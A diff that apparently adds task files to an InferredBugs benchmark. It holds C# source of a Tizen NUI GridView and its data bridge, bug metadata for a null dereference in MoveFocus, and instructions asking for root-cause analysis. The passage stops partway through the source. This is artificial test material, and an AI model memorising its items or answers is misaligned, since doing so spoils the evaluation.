+        /// How many items are in the data set of whole data list.
+        /// </summary>
+        /// <returns>Count of total items</returns>
+        public int GetTotalCount()
+        {
+            int count = 0;
+            if (gridData != null)
+            {
+                foreach (List<object> group in gridData)
+                {
+                    count += group.Count;
+                }
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// Adds the specified data at the end of the List of specified group.
+        /// </summary>
+        /// <param name="data">The data to add at the end of the List.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Add(object data, int groupIndex = 0, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            gridData[groupIndex].Add(data);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Add;
+            e.param[0] = groupIndex;
+            e.data = data;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Removes the specified data from the List of specified group.
+        /// </summary>
+        /// <param name="fromIndex">The from index of data to remove from the list.</param>
+        /// <param name="removeNum">The remove number of data to remove from the list.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="withAni">Remove with animation or not.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+
+        public void RemoveItems(int fromIndex, int removeNum, int groupIndex = 0, bool withAni = false, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            if (fromIndex + removeNum > gridData[groupIndex].Count)
+            {
+                return;
+            }
+
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Remove;
+            e.param[0] = groupIndex;
+            e.param[1] = fromIndex;
+            e.param[2] = removeNum;
+            e.param[3] = withAni ? 1 : 0;
+            OnDataChangeEvent(this, e, sendEvent);
+            gridData[groupIndex].RemoveRange(fromIndex, removeNum);
+            e.ChangeType = DataChangeEventType.Load;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Removes the specified data from the List of specified group.
+        /// </summary>
+        /// <param name="itemIndex">The from index of data to remove from the list.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="withAni">Remove with animation or not.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Remove(int itemIndex, int groupIndex = 0, bool withAni = false, bool sendEvent = true)
+        {
+            if (itemIndex < 0 || itemIndex >= GetItemCount(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", "Error!! item index is invalid");
+                return;
+            }
+
+            RemoveItems(itemIndex, 1, groupIndex, withAni, sendEvent);
+        }
+
+        /// <summary>
+        /// Inserts the specified data at the specified index in the List of specified group.
+        /// </summary>
+        /// <param name="index">The index at which the data must be inserted.</param>
+        /// <param name="data">The data to insert into the list.</param>
+        /// <param name="groupIndex">The group index which need to insert data.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Insert(int index, object data, int groupIndex = 0, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            gridData[groupIndex].Insert(index, data);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Insert;
+            e.data = data;
+            e.param[0] = groupIndex;
+            e.param[1] = index;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Remove all elements from the list.
+        /// </summary>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Clear(bool sendEvent = true)
+        {
+            if (gridData != null)
+            {
+                DataChangeEventArgs e = new DataChangeEventArgs();
+                e.ChangeType = DataChangeEventType.Clear;
+                OnDataChangeEvent(this, e, sendEvent);
+                gridData.Clear();
+            }
+        }
+
+        /// <summary>
+        /// Reset bridge, and Update LinearView with new bridge data.
+        /// </summary>
+        /// <param name="objects">Data list of differet groups.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Reset(List<List<object>> objects, bool sendEvent = true)
+        {
+            Clear();
+            gridData = objects;
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Reset;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Reset bridge, and Update LinearView with new bridge data.
+        /// </summary>
+        /// <param name="objects">Data list of grid view.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Reset(List<object> objects, bool sendEvent = true)
+        {
+            Clear();
+            gridData = new List<List<object>>();
+            gridData.Add(objects);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Reset;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Swap data of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index which need to insert data.</param>
+        /// <param name="from">First item index of the group.</param>
+        /// <param name="to">Second item index of the group.</param>
+        public void SwapGroupData(int groupIndex, int from, int to)
+        {
+            List<object> groupDataList = gridData.ElementAt(groupIndex);
+            object fromData = groupDataList.ElementAt(from);
+            groupDataList[from] = groupDataList[to];
+            groupDataList[to] = fromData;
+        }
+
+        private void OnDataChangeEvent(object sender, DataChangeEventArgs e, bool sendEvent = true)
+        {
+            if (!sendEvent)
+            {
+                return;
+            }
+
+            if (dataChangeEventHandlers != null)
+            {
+                dataChangeEventHandlers(sender, e);
+            }
+        }
+
+        private List<List<object>> gridData;
+        private EventHandler<DataChangeEventArgs> dataChangeEventHandlers;
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `curFocusedCell` last assigned on line 1735 could be null and is dereferenced at line 1749, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void GridView.MoveFocus(String,Int32,Int32)
+
+### File:
+TV/MediaHubSample/MediaHubSample/src/View/GridView/Grid.cs
+
+### Key:
+Grid.cs|MoveFocus|NULL_DEREFERENCE
+
+### Node Key:
+31b38c1bf5e12b39f64b6563a58bebed
+
+### Hash:
+cb75677025efdadd47289f6deab9aca5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0769/instruction.md b/inferredbugs-0769/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..935c4beac958195d8362e0bd38c7caa6d11c56b1
--- /dev/null
+++ b/inferredbugs-0769/instruction.md
@@ -0,0 +1,3833 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Tizen-CSharp-Samples
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/** Copyright (c) 2017 Samsung Electronics Co., Ltd.
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*
+*/
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Diagnostics;
+using Tizen.NUI;
+using Tizen.NUI.BaseComponents;
+
+namespace Tizen.NUI
+{
+    /// <summary>
+    /// A view that shows items in two-dimension grid, which can scroll horizontally or vertically.
+    /// The items in the grid come from the GirdBridge associated with this view.
+    /// </summary>
+    public class GridView : View
+    {
+        /// <summary>
+        /// GridView event types
+        /// </summary>
+        public enum GridEventType
+        {
+            /// <summary>
+            /// Event triggered when focus change 
+            /// </summary>
+            FocusChange,
+            /// <summary>
+            /// Event triggered when item scroll in 
+            /// </summary>
+            ItemScrolledIn,
+            /// <summary>
+            /// Event triggered when item scroll out 
+            /// </summary>
+            ItemScrolledOut,
+        }
+
+        /// <summary>
+        /// GridView orientation types
+        /// </summary>
+        public enum GridType
+        {
+            /// <summary>
+            /// Items laid horizontal 
+            /// </summary>
+            Horizontal = 0,
+            /// <summary>
+            /// Items laid vertical
+            /// </summary>
+            Vertical
+        }
+
+        /// <summary>
+        /// GridView event args at event call back, user can get information
+        /// </summary>
+        public class GridEventArgs : EventArgs
+        {
+            /// <summary>
+            /// GridView event type
+            /// </summary>
+            public GridEventType EventType
+            {
+                get;
+                set;
+            }
+
+            /// <summary>
+            /// GridView event data
+            /// </summary>
+            public int[] param = new int[4];
+        }
+
+        /// <summary>
+        /// Construct GridView.
+        /// </summary>
+        public GridView()
+        {
+            Initialize();
+
+            // register event handler for relayout
+            Relayout += OnRelayoutUpdate;
+
+            FocusGained += ControlFocusGained;
+            FocusLost += ControlFocusLost;
+        }
+
+        /// <summary> 
+        /// Get/Set list type. 
+        /// </summary>
+        public GridType Type
+        {
+            get { return gridType; }
+            set { gridType = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set list spaces around items. 
+        /// </summary>
+        public new Vector4 Margin
+        {
+            get { return margin; }
+            set { margin = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between columns 
+        /// </summary>
+        public int ColumnSpace
+        {
+            get { return columnSpace; }
+            set { columnSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between rows 
+        /// </summary>
+        public int RowSpace
+        {
+            get { return rowSpace; }
+            set { rowSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between groups 
+        /// </summary>
+        public int GroupSpace
+        {
+            get { return groupSpace; }
+            set { groupSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space for title 
+        /// </summary>
+        public int TitleSpace
+        {
+            get { return titleSpace; }
+            set { titleSpace = value; }
+        }
+
+        /// <summary>
+        /// Get/Set enable flag of whether support straight path focus move.
+        /// </summary>
+        public bool StateStraightPathEnable
+        {
+            get;
+            set;
+        }
+        /// <summary>
+        /// Get/Set enable flag of right circulation of GridView.
+        /// </summary>
+        public bool StateRightCircularEnable
+        {
+            get;
+            set;
+        }
+
+        /// <summary>
+        /// Get/Set enable flag of left circulation of GridView.
+        /// </summary>
+        public bool StateLeftCircularEnable
+        {
+            get;
+            set;
+        }
+
+        /// <summary>
+        /// Get/Set focus move animation duration of GridView. 
+        /// </summary>
+        public int FocusMoveDuration
+        {
+            get
+            {
+                return focusMoveAniDuration;
+            }
+
+            set
+            {
+                focusMoveAniDuration = value;
+                //focusMoveAni.Duration = value;
+                //scaleAni.Duration = value;
+            }
+        }
+
+        /// <summary>
+        /// Get/Set scroll bar fade out time
+        /// </summary>
+        public int ScrollBarFadeOutDuration
+        {
+            get;
+            set;
+        }
+
+
+        /// <summary> 
+        /// Preload item buffer size at front 
+        /// </summary>
+        public int PreloadFrontColumnSize
+        {
+            get { return preloadFrontColumnSize; }
+            set { preloadFrontColumnSize = value ; }
+        }
+
+        /// <summary> 
+        /// Preload item buffer size at back 
+        /// </summary>
+        public int PreloadBackColumnSize
+        {
+            get { return preloadBackColumnSize; }
+            set { preloadBackColumnSize = value; }
+        }
+
+        /// <summary> 
+        /// Focus in scale factor 
+        /// </summary>
+        public float FocusInScaleFactor
+        {
+            get { return focusInScaleFactor; }
+            set { focusInScaleFactor = value; }
+        }
+
+        /// <summary> 
+        /// Focus in scale animation duration 
+        /// </summary>
+        public AnimationAttributes FocusInScaleAnimationAttrs
+        {
+            get { return focusInScaleAnimationAttrs; }
+            set { focusInScaleAnimationAttrs = value; }
+        }
+
+        /// <summary> 
+        /// Focus out scale animation duration 
+        /// </summary>
+        public AnimationAttributes FocusOutScaleAnimationAttrs
+        {
+            get { return focusOutScaleAnimationAttrs; }
+            set { focusOutScaleAnimationAttrs = value; }
+        }
+        /// <summary>
+        /// Sets the data behind this GridView.
+        /// </summary>
+        /// <param name="bridge">The GridBridge which is responsible for maintaining the data
+        /// backing this grid and for producing a view to represent an item in the data set.</param>
+        public void SetBridge(GridBridge bridge)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Set bridge for GridView"));
+            Debug.Assert(bridge != null);
+
+            if (gridBridge != null)
+            {
+                return;
+            }
+
+            gridBridge = bridge;
+
+            gridBridge.DataChangeEvent += OnDataChange;
+
+            for (int i = 0; i < groupList.Count; i++)
+            {
+                View groupTitle = gridBridge.GetGroupTitleView(i);
+                if (groupTitle != null)
+                {
+                    groupList[i].title = groupTitle;
+
+                    if (GridType.Horizontal == gridType)
+                    {
+                        groupTitle.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                        groupTitle.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                        groupTitle.PositionUsesPivotPoint = true;
+                        groupTitle.PositionX = groupList[i].startPos;
+                        groupTitle.PositionY = -titleSpace;
+                        Tizen.Log.Fatal("NUI", "titleView.PositionX: " + groupTitle.PositionX + ", titleView.PositionY: " + groupTitle.PositionY);
+                    }
+                    else
+                    {
+                        groupTitle.PositionX = 0;
+                        groupTitle.PositionY = groupList[i].startPos - titleSpace;
+                    }
+
+                    itemGroup.Add(groupTitle);
+                }
+            }
+
+            SetViewTypeCount(gridBridge.GetItemTypeCount());
+
+
+            if (groupList.Count > 0)
+            {
+                Load();
+                if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+                {
+                    SetFocus(focusGroupIndex, focusItemIndex);
+                }
+            }
+        }
+        /// <summary>
+        /// Add groups to GridView.
+        /// </summary>
+        /// <param name="groupCount">The count of groups to add.</param>
+        public void AddGroup(int groupCount)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add Group Number{0}", groupCount));
+            int prevCount = groupList.Count;
+            for (int i = prevCount; i < groupCount + prevCount; i++)
+            {
+                Group newGroup = new Group();
+                newGroup.index = i;
+                newGroup.columnList = new List<Column>();
+                newGroup.itemList = new List<GridItem>();
+                newGroup.itemIndexToCell = new Dictionary<int,Cell>();
+
+                if (GridType.Horizontal == gridType)
+                {
+                    newGroup.startPos = newGroup.endPos = (i == 0 ? 0 : groupSpace + groupList.ElementAt(i - 1).endPos);
+                }
+                else
+                {
+                    newGroup.startPos = newGroup.endPos = (i == 0 ? 0 : groupSpace + groupList.ElementAt(i - 1).endPos + titleSpace);
+                }
+
+                if (gridBridge != null)
+                {
+                    View groupTitle = gridBridge.GetGroupTitleView(i);
+                    if (groupTitle != null)
+                    {
+                        newGroup.title = groupTitle;
+                        if (GridType.Horizontal == gridType)
+                        {
+                            groupTitle.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                            groupTitle.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                            groupTitle.PositionUsesPivotPoint = true;
+                            groupTitle.PositionX = newGroup.startPos;
+                            groupTitle.PositionY = -titleSpace;
+                            Tizen.Log.Fatal("NUI", "titleView.PositionX: " + groupTitle.PositionX + ", titleView.PositionY: " + groupTitle.PositionY);
+                        }
+                        else
+                        {
+                            groupTitle.PositionX = 0;
+                            groupTitle.PositionY = newGroup.startPos - titleSpace;
+                        }
+
+                        itemGroup.Add(groupTitle);
+                    }
+                }
+
+                groupList.Add(newGroup);
+           }
+        }
+
+        internal void ResetGroup(int groupCount)
+        {
+            Tizen.Log.Fatal("NUI", "...." + groupCount);
+            if (groupList.Count < groupCount)
+            {
+                AddGroup(groupCount - groupList.Count);
+            }
+            else if (groupList.Count > groupCount)
+            {
+                int removeCount = groupList.Count - groupCount;
+                for (int i = groupCount; i < groupList.Count; i++)
+                {
+                    if (groupList.ElementAt(i).title != null)
+                    {
+                        itemGroup.Remove(groupList.ElementAt(i).title);
+                        gridBridge.RemoveGroupTitleView(i, groupList.ElementAt(i).title);
+                    }
+
+                    Clear(i);
+                }
+
+                groupList.RemoveRange(groupCount, removeCount);
+            }
+        }
+
+        // Add column to GridView.
+        internal void AddColumn(int columnWidth, int groupIndex = 0)
+        {
+            if (groupList.Count == 0)
+            {
+                Group newGroup = new Group();
+                newGroup.index = 0;
+                newGroup.columnList = new List<Column>();
+                newGroup.itemList = new List<GridItem>();
+                newGroup.itemIndexToCell = new Dictionary<int, Cell>();
+                newGroup.startPos = newGroup.endPos =  0;
+                groupList.Add(newGroup);
+            }
+
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add column columnWidth {0} to group {1}",columnWidth, groupIndex));
+            
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            Column newColumn = new Column();
+            newColumn.groupIndex = groupIndex;
+            newColumn.index = curGroup.columnList.Count;
+            newColumn.space = columnWidth;
+
+            if (newColumn.index == 0)
+            {
+                newColumn.startPos = curGroup.startPos;
+            }
+            else
+            {
+                newColumn.startPos = curGroup.columnList.ElementAt(newColumn.index - 1).endPos + columnSpace; 
+            }
+
+            newColumn.endPos = newColumn.startPos + columnWidth;
+
+            if (newColumn.cellList == null)
+            {
+                newColumn.cellList = new List<Cell>();
+            }
+
+            curGroup.columnList.Add(newColumn);
+
+            float posOffset = (0 == newColumn.index) ? columnWidth : columnWidth + columnSpace;
+            curGroup.endPos += posOffset;
+ 
+            for (int i = groupIndex + 1; i < (int)groupList.Count; i++)
+            {
+                if (GridType.Horizontal == gridType && groupList.ElementAt(i).title != null)
+                {
+                    groupList.ElementAt(i).title.PositionX += posOffset;
+                }
+
+                groupList.ElementAt(i).ResetPosition(posOffset);
+            }
+
+            Tizen.Log.Fatal("NUI", "...");
+            return;
+        }
+        /// <summary>
+        /// Add row to the column in GridView.
+        /// </summary>
+        /// <param name="columnIndex">The column index;</param>
+        /// <param name="rowHeight">The row space.</param>
+        /// <param name="groupIndex">The group index.</param>
+        public void AddRowToColumn(int columnIndex, int rowHeight, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row rowHeight {0} to column {1} of group {2}", rowHeight, columnIndex, groupIndex));
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            Column curColumn = curGroup.columnList.ElementAt(columnIndex);
+
+            int curRowNumInCol = curColumn.cellList.Count;
+
+            Cell newCell = new Cell();
+
+            Cell lastCell = (curRowNumInCol == 0 ? null : curColumn.cellList.ElementAt(curRowNumInCol - 1));
+
+            if (GridType.Horizontal == gridType)
+            {
+                newCell.rect.X = curColumn.startPos;
+                newCell.rect.Y = (curRowNumInCol == 0 ? 0 : lastCell.rect.Bottom() + rowSpace);
+                newCell.rect.Height = rowHeight;
+                newCell.rect.Width = curColumn.space;
+            }
+            else
+            {
+                newCell.rect.X = (curRowNumInCol == 0) ? 0 : lastCell.rect.Right() + columnSpace;
+                newCell.rect.Y = curColumn.startPos;
+                newCell.rect.Height = rowHeight;
+                newCell.rect.Width = curColumn.space;
+            }
+
+            newCell.columnIndex = columnIndex;
+            newCell.rowIndex = curRowNumInCol;
+            newCell.index = curRowNumInCol;
+            if (curRowNumInCol == 0)
+            {
+                if (columnIndex == 0)
+                {
+                    newCell.itemIndex = 0;
+                }
+                else
+                {
+                    newCell.itemIndex = curGroup.columnList.ElementAt(columnIndex - 1).endItemIndex + 1;
+                }
+            }
+            else
+            {
+                newCell.itemIndex = lastCell.itemIndex + 1;
+            }
+
+            Tizen.Log.Fatal("NUI", " >>>>>>> newCell.itemIndex: " + newCell.itemIndex + " newCell.rect[" + newCell.rect.X + ", " + newCell.rect.Y + ", " + newCell.rect.Width + ", " + newCell.rect.Height + "]");
+
+            curColumn.cellList.Add(newCell);
+            Tizen.Log.Fatal("NUI", "...");
+
+            if (curRowNumInCol == 0)
+            {
+                curColumn.startItemIndex = newCell.itemIndex;
+            }
+
+            curColumn.endItemIndex = newCell.itemIndex;
+            Tizen.Log.Fatal("NUI", " >>>>>>> curColumn.startItemIndex: " + curColumn.startItemIndex + " curColumn.endItemIndex: " + curColumn.endItemIndex);
+
+            curGroup.itemIndexToCell.Add(newCell.itemIndex, newCell);
+            curGroup.realCellCount++;
+
+            Tizen.Log.Fatal("NUI", "Group: " + groupIndex + ", Column: " + columnIndex + " Cell.rowIndex: " + newCell.rowIndex + " Cell.columnIndex: " + newCell.columnIndex + " Cell.itemIndex: " + newCell.itemIndex + " curGroup.realCellCount:" + curGroup.realCellCount);
+        }
+
+        // Add row to the all column in same group of GridView.
+        internal void AddRowToAllColumn(int rowHeight, int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row rowHeight {0} to to all column of group {1}", rowHeight, groupIndex));
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            int columnCount = groupList.ElementAt(groupIndex).columnList.Count;
+            for (int i = 0; i < columnCount; i++)
+            {
+                AddRowToColumn(i, rowHeight, groupIndex);
+            }
+        }
+        /// <summary>
+        /// Quickly add an regular grid by pass column/row number and cell size.
+        /// </summary>
+        /// <param name="columnCount">The columns count.</param>
+        /// <param name="rowCount">The rows count.</param>
+        /// <param name="columnWidth">The column width.</param>
+        /// <param name="rowHeight">The row height.</param>
+        /// <param name="groupIndex">The groupIndex, default value is -1, means all the groups will use the same regular grid.</param>
+        public void AddRegularGrid(int columnCount, int rowCount, int columnWidth, int rowHeight, int groupIndex = -1)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row x column : ({0} x {1}) rowHeight: {2} , columnWidth: {3} to group {4}", rowCount, columnCount, rowHeight, columnWidth, groupIndex));
+
+            if (groupIndex != -1)
+            {
+                if (groupList.Count == 0)
+                {
+                    Group newGroup = new Group();
+                    newGroup.index = 0;
+                    newGroup.columnList = new List<Column>();
+                    newGroup.itemList = new List<GridItem>();
+                    newGroup.itemIndexToCell = new Dictionary<int, Cell>();
+                    newGroup.startPos = newGroup.endPos = 0;
+                    groupList.Add(newGroup);
+                }
+                else if (!IsGroupIndexValid(groupIndex))
+                {
+                    Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                    return;
+                }
+            }
+
+            if (gridType == GridType.Vertical)
+            {
+                int temp = rowCount;
+                rowCount = columnCount;
+                columnCount = temp;
+            }
+
+            this.rowCnt = rowCount;
+            this.colCnt = columnCount;
+            this.rowH = rowHeight;
+            this.colW = columnWidth;
+
+            if (columnCount == -1)
+            {
+                return;
+            }
+
+            if (groupIndex == -1)
+            {
+                for (int k = 0; k < groupList.Count; k++)
+                {
+                    for (int i = 0; i < columnCount; i++)
+                    {
+                        AddColumn(columnWidth, groupIndex);
+
+                        for (int j = 0; j < rowCount; j++)
+                        {
+                            AddRowToColumn(i, rowHeight, groupIndex);
+                        }
+                    }
+                }
+            }
+            else
+            {
+                for (int i = 0; i < columnCount; i++)
+                {
+                    AddColumn(columnWidth, groupIndex);
+
+                    for (int j = 0; j < rowCount; j++)
+                    {
+                        AddRowToColumn(i, rowHeight, groupIndex);
+                    }
+                }
+            }
+        }
+
+        /// <summary>
+        /// Attach title to the group.
+        /// </summary>
+        /// <param name="titleView">The title view.</param>
+        /// <param name="groupIndex">The group index.</param>
+        public void AttachGroupTitle(View titleView, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Attach group title to {0}", groupIndex));
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            if (GridType.Horizontal == gridType)
+            {
+                titleView.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                titleView.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                titleView.PositionUsesPivotPoint = true;
+                titleView.PositionX = curGroup.startPos;
+                titleView.PositionY = -titleSpace;
+            }
+            else
+            {
+                titleView.PositionX = 0;
+                titleView.PositionY = curGroup.startPos - titleSpace;
+            }
+
+            curGroup.title = titleView;
+            itemGroup.Add(titleView);
+        }
+
+        /// <summary>
+        /// Get group title of specified group index.
+        /// </summary>
+        /// <param name="groupIndex">Group index of GridIndex view.</param>
+        /// <returns>Title view of specified group index.</returns>
+        public View GetGroupTitle(int groupIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return null;
+            }
+
+            return groupList[groupIndex].title;
+        }
+
+        /// <summary>
+        /// Set focus group index and item index of GridView.
+        /// </summary>
+        /// <param name="itemIndex">focus item index</param>
+        /// <param name="groupIndex">focus group index</param>
+        public void SetFoucsItemIndex(int itemIndex, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Set Focus to item {0} of group {1}", itemIndex, groupIndex));
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid item index"));
+                return;
+            }
+
+            if (groupIndex == focusGroupIndex && itemIndex == focusItemIndex)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Already focused"));
+                return;
+            }
+            //if (IsFocused == true)
+            //{
+            //    SetFocus(groupIndex, itemIndex);
+            //}
+            if (HasFocus() == true)
+            {
+                SetFocus(groupIndex, itemIndex);
+            }
+            else
+            {
+                focusGroupIndex = groupIndex;
+                focusItemIndex = itemIndex;
+                focusTagGroupIndex = focusGroupIndex;
+                focusTagItemIndex = focusItemIndex;
+            }
+        }
+
+        /// <summary>
+        /// Get focus group index and item index of GridView.
+        /// </summary>
+        /// <param name="groupIndex">focus group index</param>
+        /// <param name="itemIndex">focus item index</param>
+        public void GetFocusItemIndex(out int groupIndex, out int itemIndex)
+        {
+            groupIndex = focusGroupIndex;
+            itemIndex = focusItemIndex;
+        }
+
+        /// <summary>
+        /// Get loaded item view in GridView.
+        /// </summary>
+        /// <param name="groupIndex">Specified group index</param>
+        /// <param name="itemIndex">Specified item index</param>
+        /// <returns> Return the ItemView, if the item is unloaded, returns null.</returns>
+        public object GetLoadedItemView(int groupIndex, int itemIndex)
+        {
+            GridItem item = null;
+            if (IsGroupIndexValid(groupIndex) == true && IsItemIndexValid(groupIndex, itemIndex))
+            {
+                item = groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex);
+            }
+
+            return item?.itemView;
+        }
+
+        /// <summary>
+        /// User to do the page move.
+        /// </summary>
+        /// <param name="bAni">Used to control whether support animation.</param>
+        public void MoveNextPage(bool bAni = true)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Move to next page"));
+            PageMove(false, bAni);
+        }
+
+        /// <summary>
+        /// User to do the page move.
+        /// </summary>
+        /// <param name="bAni">Used to control whether support animation.</param>
+        public void MovePrevPage(bool bAni = true)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Move to previous page"));
+            PageMove(true, bAni);
+        }
+
+        /// <summary>
+        /// Update an item.
+        /// </summary>
+        /// <param name="itemIndex">The itemIndex.</param>
+        /// <param name="groupIndex">The groupIndex.</param>
+        public void UpdateItem(int itemIndex, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Update item {0} of group {1}", itemIndex, groupIndex));
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Cell curCell = GetCellByItemIndex(groupIndex, itemIndex);
+            int columnIndex = curCell.columnIndex;
+            
+            if ((groupIndex > onScreenRange.startGroupIndex && groupIndex < onScreenRange.endGroupIndex)
+                || (groupIndex == onScreenRange.startGroupIndex && columnIndex >= onScreenRange.startColumnIndex)
+                || (groupIndex == onScreenRange.endGroupIndex && columnIndex <= onScreenRange.endColumnIndex))
+            {
+                gridBridge.UpdateItem(groupIndex, itemIndex, groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex).itemView);
+            }
+        }
+        /// <summary>
+        /// Update all items on screen.
+        /// </summary>
+        public void UpdateAllItems()
+        {
+            foreach (GridItem item in curInMemoryItemSet)
+            {
+                gridBridge.UpdateItem(item.groupIndex, item.index, item.itemView);
+            }
+        }
+        /// <summary>
+        /// Get group number of GridView.
+        /// </summary>
+        /// <returns>Groups count</returns>
+        public int GetGroupCount()
+        {
+            return groupList.Count;
+        }
+        /// <summary>
+        /// Get column count of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>Columns count</returns>
+        public int GetColumnCount(int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", "... groupIndex = " + groupIndex);
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT; 
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            if (curGroup.columnList == null)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column list"));
+                return INVALID_COUNT;
+            }
+
+            Tizen.Log.Fatal("NUI", "... curGroup.columnList.Count = " + curGroup.columnList.Count);
+            return curGroup.columnList.Count;
+        }
+        /// <summary>
+        /// Get cell count of specified column of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="columnIndex">The column index.</param>
+        /// <returns>Cells count</returns>
